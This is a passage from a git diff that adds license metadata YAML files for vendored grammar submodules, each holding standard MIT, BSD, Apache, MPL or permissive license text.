+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2018 bruno cuconato
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/cool-tmbundle.dep.yml b/vendor/licenses/git_submodule/cool-tmbundle.dep.yml
new file mode 100644
index 0000000000..4540abcced
--- /dev/null
+++ b/vendor/licenses/git_submodule/cool-tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: cool-tmbundle
+version: ab3a3356e2ff4096b23af984da09188e75371759
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Anunay Kulshrestha
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/cpp-qt.tmbundle.dep.yml b/vendor/licenses/git_submodule/cpp-qt.tmbundle.dep.yml
new file mode 100644
index 0000000000..ca2ad41ee8
--- /dev/null
+++ b/vendor/licenses/git_submodule/cpp-qt.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: cpp-qt.tmbundle
+version: 5a2a10734dad293fc1aee558d7872feb9c8030f3
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/creole.dep.yml b/vendor/licenses/git_submodule/creole.dep.yml
new file mode 100644
index 0000000000..aedad7ac53
--- /dev/null
+++ b/vendor/licenses/git_submodule/creole.dep.yml
@@ -0,0 +1,24 @@
+---
+name: creole
+version: 26eab604ff51e0ae2496ff97265f06cf47c21a81
+type: git_submodule
+homepage: https://github.com/Siddley/Creole
+license: mit
+licenses:
+- sources: The MIT License (MIT)
+  text: |
+    The MIT License (MIT)
+    Copyright (c) 2012 Siddley
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files
+    (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge,
+    publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
+    FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/cron.tmbundle.dep.yml b/vendor/licenses/git_submodule/cron.tmbundle.dep.yml
new file mode 100644
index 0000000000..244374d3ba
--- /dev/null
+++ b/vendor/licenses/git_submodule/cron.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+type: git_submodule
+name: cron.tmbundle
+version: f027bc74d926b8bdc0bfaac22a419d351bf60edd
+license: permissive
+licenses:
+- text: >
+    If not otherwise specified (see below), files in this repository fall under the following license:
+
+        Permission to copy, use, modify, sell and distribute this
+        software is granted. This software is provided "as is" without
+        express or implied warranty, and with no claim as to its
+        suitability for any purpose.
+
+    An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
+
+notices: []
diff --git a/vendor/licenses/git_submodule/csharp-tmLanguage.dep.yml b/vendor/licenses/git_submodule/csharp-tmLanguage.dep.yml
new file mode 100644
index 0000000000..c9faf18079
--- /dev/null
+++ b/vendor/licenses/git_submodule/csharp-tmLanguage.dep.yml
@@ -0,0 +1,31 @@
+---
+name: csharp-tmLanguage
+version: 479bfb74cdc608288505f1604b9497d85ae35b9d
+type: git_submodule
+homepage: https://github.com/dotnet/csharp-tmLanguage
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2016 .NET Foundation
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/cucumber-tmbundle.dep.yml b/vendor/licenses/git_submodule/cucumber-tmbundle.dep.yml
new file mode 100644
index 0000000000..c7eae35052
--- /dev/null
+++ b/vendor/licenses/git_submodule/cucumber-tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+name: cucumber-tmbundle
+version: 17a4419fb5ea47f910d9b2fd8b29f01f68382050
+type: git_submodule
+homepage: https://github.com/cucumber/cucumber-tmbundle
+license: mit
+licenses:
+- sources: MIT-LICENSE.txt
+  text: |
+    Copyright (c) 2008-2009 Ben Mabey
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/cython.dep.yml b/vendor/licenses/git_submodule/cython.dep.yml
new file mode 100644
index 0000000000..815920de70
--- /dev/null
+++ b/vendor/licenses/git_submodule/cython.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: cython
+version: 43a86f0e97970d6ea1a01124cb0b6bcac0ce516e
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/d.tmbundle.dep.yml b/vendor/licenses/git_submodule/d.tmbundle.dep.yml
new file mode 100644
index 0000000000..a5d0096140
--- /dev/null
+++ b/vendor/licenses/git_submodule/d.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: d.tmbundle
+version: 9fb354be1c3fbb6a91f543f584d47099d338baf0
+type: git_submodule
+homepage: https://github.com/textmate/d.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/d2-vscode.dep.yml b/vendor/licenses/git_submodule/d2-vscode.dep.yml
new file mode 100644
index 0000000000..73d667fc2f
--- /dev/null
+++ b/vendor/licenses/git_submodule/d2-vscode.dep.yml
@@ -0,0 +1,35 @@
+---
+name: d2-vscode
+version: 4f56e4aa2434d525c96cdfc9406f4e2868811ffa
+type: git_submodule
+homepage: https://github.com/terrastruct/d2-vscode.git
+license: bsd-3-clause
+licenses:
+- sources: LICENSE.txt
+  text: |
+    Copyright 2022 Terrastruct, Inc.
+
+    Redistribution and use in source and binary forms, with or without modification, are
+    permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this list of
+       conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice, this list of
+       conditions and the following disclaimer in the documentation and/or other materials
+       provided with the distribution.
+
+    3. Neither the name of the copyright holder nor the names of its contributors may be used
+       to endorse or promote products derived from this software without specific prior written
+       permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
+    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+    COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+    EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+    SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/dart-syntax-highlight.dep.yml b/vendor/licenses/git_submodule/dart-syntax-highlight.dep.yml
new file mode 100644
index 0000000000..114307ecbf
--- /dev/null
+++ b/vendor/licenses/git_submodule/dart-syntax-highlight.dep.yml
@@ -0,0 +1,28 @@
+---
+name: dart-syntax-highlight
+version: e8b053f9834cb44db0f49ac4a4567177bd943dbf
+type: git_submodule
+homepage: https://github.com/dart-lang/dart-syntax-highlight
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: "Copyright 2020, the Dart project authors. \n\nRedistribution and use in source
+    and binary forms, with or without\nmodification, are permitted provided that the
+    following conditions are\nmet:\n\n    * Redistributions of source code must retain
+    the above copyright\n    notice, this list of conditions and the following disclaimer.\n
+    \   * Redistributions in binary form must reproduce the above\n    copyright notice,
+    this list of conditions and the following\n    disclaimer in the documentation
+    and/or other materials provided\n    with the distribution.\n    * Neither the
+    name of Google LLC nor the names of its\n    contributors may be used to endorse
+    or promote products derived\n    from this software without specific prior written
+    permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS
+    IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR
+    ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+    (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+    LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+    ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING
+    NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE,
+    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
+notices: []
diff --git a/vendor/licenses/git_submodule/data-weave-tmLanguage.dep.yml b/vendor/licenses/git_submodule/data-weave-tmLanguage.dep.yml
new file mode 100644
index 0000000000..23694159d1
--- /dev/null
+++ b/vendor/licenses/git_submodule/data-weave-tmLanguage.dep.yml
@@ -0,0 +1,32 @@
+---
+name: data-weave-tmLanguage
+version: ff3f79a0c848a8937bdf17ef3e3e9ea4a5106bef
+type: git_submodule
+homepage: https://github.com/mulesoft-labs/data-weave-tmLanguage
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    Copyright (c) Mulesoft inc
+    All rights reserved.
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/denizenscript-grammar.dep.yml b/vendor/licenses/git_submodule/denizenscript-grammar.dep.yml
new file mode 100644
index 0000000000..63616c0837
--- /dev/null
+++ b/vendor/licenses/git_submodule/denizenscript-grammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: denizenscript-grammar
+version: a9a95232026192c0d5eb23557882f9b69a40d66e
+type: git_submodule
+homepage: https://github.com/DenizenScript/denizenscript-grammar.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2022-2023 The Denizen Script Team
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/desktop.tmbundle.dep.yml b/vendor/licenses/git_submodule/desktop.tmbundle.dep.yml
new file mode 100644
index 0000000000..b1d9c8a7f0
--- /dev/null
+++ b/vendor/licenses/git_submodule/desktop.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: desktop.tmbundle
+version: 34f9b8ab985ff7d981661f632eeff6d6c080cea8
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/diff.tmbundle.dep.yml b/vendor/licenses/git_submodule/diff.tmbundle.dep.yml
new file mode 100644
index 0000000000..d89f34d13e
--- /dev/null
+++ b/vendor/licenses/git_submodule/diff.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: diff.tmbundle
+version: '0593bb775eab1824af97ef2172fd38822abd97d7'
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/dm-syntax.dep.yml b/vendor/licenses/git_submodule/dm-syntax.dep.yml
new file mode 100644
index 0000000000..4964706fcd
--- /dev/null
+++ b/vendor/licenses/git_submodule/dm-syntax.dep.yml
@@ -0,0 +1,17 @@
+---
+name: dm-syntax
+version: a63b4388d0df050d40f2c6c6afd85637174abbb5
+type: git_submodule
+homepage: https://github.com/spacestation13/dm-syntax.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2016 Pieter-Jan Briers, Kyle J. Kemp
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/dylan.tmbundle.dep.yml b/vendor/licenses/git_submodule/dylan.tmbundle.dep.yml
new file mode 100644
index 0000000000..a0d9111898
--- /dev/null
+++ b/vendor/licenses/git_submodule/dylan.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: dylan.tmbundle
+version: d1f521cc1dc5fba4976388d35d278faa02fabb57
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/earthfile-grammar.dep.yml b/vendor/licenses/git_submodule/earthfile-grammar.dep.yml
new file mode 100644
index 0000000000..82f8c34ef6
--- /dev/null
+++ b/vendor/licenses/git_submodule/earthfile-grammar.dep.yml
@@ -0,0 +1,383 @@
+---
+name: earthfile-grammar
+version: 3ab3ea3b512ce54fb71f8070c7e03926ef259c03
+type: git_submodule
+homepage: https://github.com/earthly/earthfile-grammar.git
+license: mpl-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Mozilla Public License Version 2.0
+    ==================================
+
+    1. Definitions
+    --------------
+
+    1.1. "Contributor"
+        means each individual or legal entity that creates, contributes to
+        the creation of, or owns Covered Software.
+
+    1.2. "Contributor Version"
+        means the combination of the Contributions of others (if any) used
+        by a Contributor and that particular Contributor's Contribution.
+
+    1.3. "Contribution"
+        means Covered Software of a particular Contributor.
+
+    1.4. "Covered Software"
+        means Source Code Form to which the initial Contributor has attached
+        the notice in Exhibit A, the Executable Form of such Source Code
+        Form, and Modifications of such Source Code Form, in each case
+        including portions thereof.
+
+    1.5. "Incompatible With Secondary Licenses"
+        means
+
+        (a) that the initial Contributor has attached the notice described
+            in Exhibit B to the Covered Software; or
+
+        (b) that the Covered Software was made available under the terms of
+            version 1.1 or earlier of the License, but not also under the
+            terms of a Secondary License.
+
+    1.6. "Executable Form"
+        means any form of the work other than Source Code Form.
+
+    1.7. "Larger Work"
+        means a work that combines Covered Software with other material, in
+        a separate file or files, that is not Covered Software.
+
+    1.8. "License"
+        means this document.
+
+    1.9. "Licensable"
+        means having the right to grant, to the maximum extent possible,
+        whether at the time of the initial grant or subsequently, any and
+        all of the rights conveyed by this License.
+
+    1.10. "Modifications"
+        means any of the following:
+
+        (a) any file in Source Code Form that results from an addition to,
+            deletion from, or modification of the contents of Covered
+            Software; or
+
+        (b) any new file in Source Code Form that contains any Covered
+            Software.
+
+    1.11. "Patent Claims" of a Contributor
+        means any patent claim(s), including without limitation, method,
+        process, and apparatus claims, in any patent Licensable by such
+        Contributor that would be infringed, but for the grant of the
+        License, by the making, using, selling, offering for sale, having
+        made, import, or transfer of either its Contributions or its
+        Contributor Version.
+
+    1.12. "Secondary License"
+        means either the GNU General Public License, Version 2.0, the GNU
+        Lesser General Public License, Version 2.1, the GNU Affero General
+        Public License, Version 3.0, or any later versions of those
+        licenses.
+
+    1.13. "Source Code Form"
+        means the form of the work preferred for making modifications.
+
+    1.14. "You" (or "Your")
+        means an individual or a legal entity exercising rights under this
+        License. For legal entities, "You" includes any entity that
+        controls, is controlled by, or is under common control with You. For
+        purposes of this definition, "control" means (a) the power, direct
+        or indirect, to cause the direction or management of such entity,
+        whether by contract or otherwise, or (b) ownership of more than
+        fifty percent (50%) of the outstanding shares or beneficial
+        ownership of such entity.
+
+    2. License Grants and Conditions
+    --------------------------------
+
+    2.1. Grants
+
+    Each Contributor hereby grants You a world-wide, royalty-free,
+    non-exclusive license:
+
+    (a) under intellectual property rights (other than patent or trademark)
+        Licensable by such Contributor to use, reproduce, make available,
+        modify, display, perform, distribute, and otherwise exploit its
+        Contributions, either on an unmodified basis, with Modifications, or
+        as part of a Larger Work; and
+
+    (b) under Patent Claims of such Contributor to make, use, sell, offer
+        for sale, have made, import, and otherwise transfer either its
+        Contributions or its Contributor Version.
+
+    2.2. Effective Date
+
+    The licenses granted in Section 2.1 with respect to any Contribution
+    become effective for each Contribution on the date the Contributor first
+    distributes such Contribution.
+
+    2.3. Limitations on Grant Scope
+
+    The licenses granted in this Section 2 are the only rights granted under
+    this License. No additional rights or licenses will be implied from the
+    distribution or licensing of Covered Software under this License.
+    Notwithstanding Section 2.1(b) above, no patent license is granted by a
+    Contributor:
+
+    (a) for any code that a Contributor has removed from Covered Software;
+        or
+
+    (b) for infringements caused by: (i) Your and any other third party's
+        modifications of Covered Software, or (ii) the combination of its
+        Contributions with other software (except as part of its Contributor
+        Version); or
+
+    (c) under Patent Claims infringed by Covered Software in the absence of
+        its Contributions.
+
+    This License does not grant any rights in the trademarks, service marks,
+    or logos of any Contributor (except as may be necessary to comply with
+    the notice requirements in Section 3.4).
+
+    2.4. Subsequent Licenses
+
+    No Contributor makes additional grants as a result of Your choice to
+    distribute the Covered Software under a subsequent version of this
+    License (see Section 10.2) or under the terms of a Secondary License (if
+    permitted under the terms of Section 3.3).
+
+    2.5. Representation
+
+    Each Contributor represents that the Contributor believes its
+    Contributions are its original creation(s) or it has sufficient rights
+    to grant the rights to its Contributions conveyed by this License.
+
+    2.6. Fair Use
+
+    This License is not intended to limit any rights You have under
+    applicable copyright doctrines of fair use, fair dealing, or other
+    equivalents.
+
+    2.7. Conditions
+
+    Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
+    in Section 2.1.
+
+    3. Responsibilities
+    -------------------
+
+    3.1. Distribution of Source Form
+
+    All distribution of Covered Software in Source Code Form, including any
+    Modifications that You create or to which You contribute, must be under
+    the terms of this License. You must inform recipients that the Source
+    Code Form of the Covered Software is governed by the terms of this
+    License, and how they can obtain a copy of this License. You may not
+    attempt to alter or restrict the recipients' rights in the Source Code
+    Form.
+
+    3.2. Distribution of Executable Form
+
+    If You distribute Covered Software in Executable Form then:
+
+    (a) such Covered Software must also be made available in Source Code
+        Form, as described in Section 3.1, and You must inform recipients of
+        the Executable Form how they can obtain a copy of such Source Code
+        Form by reasonable means in a timely manner, at a charge no more
+        than the cost of distribution to the recipient; and
+
+    (b) You may distribute such Executable Form under the terms of this
+        License, or sublicense it under different terms, provided that the
